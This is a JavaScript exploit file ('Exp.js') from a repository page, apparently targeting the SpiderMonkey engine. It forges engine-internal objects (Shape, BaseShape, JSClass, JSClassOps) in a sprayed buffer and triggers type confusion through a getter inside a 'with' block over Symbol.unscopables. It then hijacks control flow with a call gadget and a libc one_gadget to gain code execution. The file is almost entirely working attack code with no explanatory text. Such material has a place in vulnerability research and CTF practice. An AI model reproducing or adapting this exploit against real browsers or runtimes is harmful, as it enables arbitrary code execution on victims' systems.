-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathExp.js
58 lines (52 loc) · 1.92 KB
/
Exp.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
let ab = new ArrayBuffer(8);
let f64a = new Float64Array(ab, 0, 1);
let i32a = new Uint32Array(ab, 0, 2);
let si32a = new Int32Array(ab, 0, 2);
let bi64a = new BigUint64Array(ab, 0, 1);
function c2f(low, high) { // combined (two 4 bytes) word to float
i32a[0] = low;
i32a[1] = high;
return f64a[0];
}
function b2f(v) { // bigint to float
bi64a[0] = v;
return f64a[0];
}
function f2b(v) { // float to bigint
f64a[0] = v;
return bi64a[0];
}
const buffer = new BigUint64Array(0x2000_0000);
const bufferAddr = 0x7ffe_f4c0_0000n;
const GetterSetterOffset = 0x0n;
const JSObjectOffset = 0x10n;
const ShapeOffset = 0x60n;
const BaseShapeOffset = 0x100n;
const JSClassOffset = 0x150n;
const JSClassOpsOffset = 0x200n;
// Faked GetterSetter
buffer[GetterSetterOffset / 8n] = bufferAddr + JSObjectOffset;
// Faked JSObject
buffer[JSObjectOffset / 8n] = bufferAddr + ShapeOffset;
// Faked Shape
buffer[ShapeOffset / 8n] = bufferAddr + BaseShapeOffset;
buffer[(ShapeOffset + 0x8n) / 8n] = 0b01_0000n; // immutableFlags: Shared (Mustn't be Proxy)
// Faked BaseShape
buffer[BaseShapeOffset / 8n] = bufferAddr + JSClassOffset; // clasp
buffer[(BaseShapeOffset + 0x8n) / 8n] = 0x7fff_f6d1_3c00n; // realm: JSContext.realm_ (varies across different runs even ASLR disabled)
// Faked JSClass
buffer[(JSClassOffset + 0x10n) / 8n] = bufferAddr + JSClassOpsOffset; // cOps
// Faked JSClassOps
buffer[(JSClassOpsOffset + 0x38n) / 8n] = 0x555555554000n + 0x00000000022efccen; // call: gadget: call qword ptr [r13 + 0x48]
// r13 points to bufferAddr + JSObjectOffset at first control flow hijacking point
buffer[(JSObjectOffset + 0x48n) / 8n] = 0x7ffff7800000n + 0x583dcn; // libc one_gadget
const obj = {
get prop() {
Object.defineProperty(this, "prop", { enumerable: true, value: b2f(bufferAddr) });
return false;
},
};
obj[Symbol.unscopables] = obj;
with (obj) {
prop;
}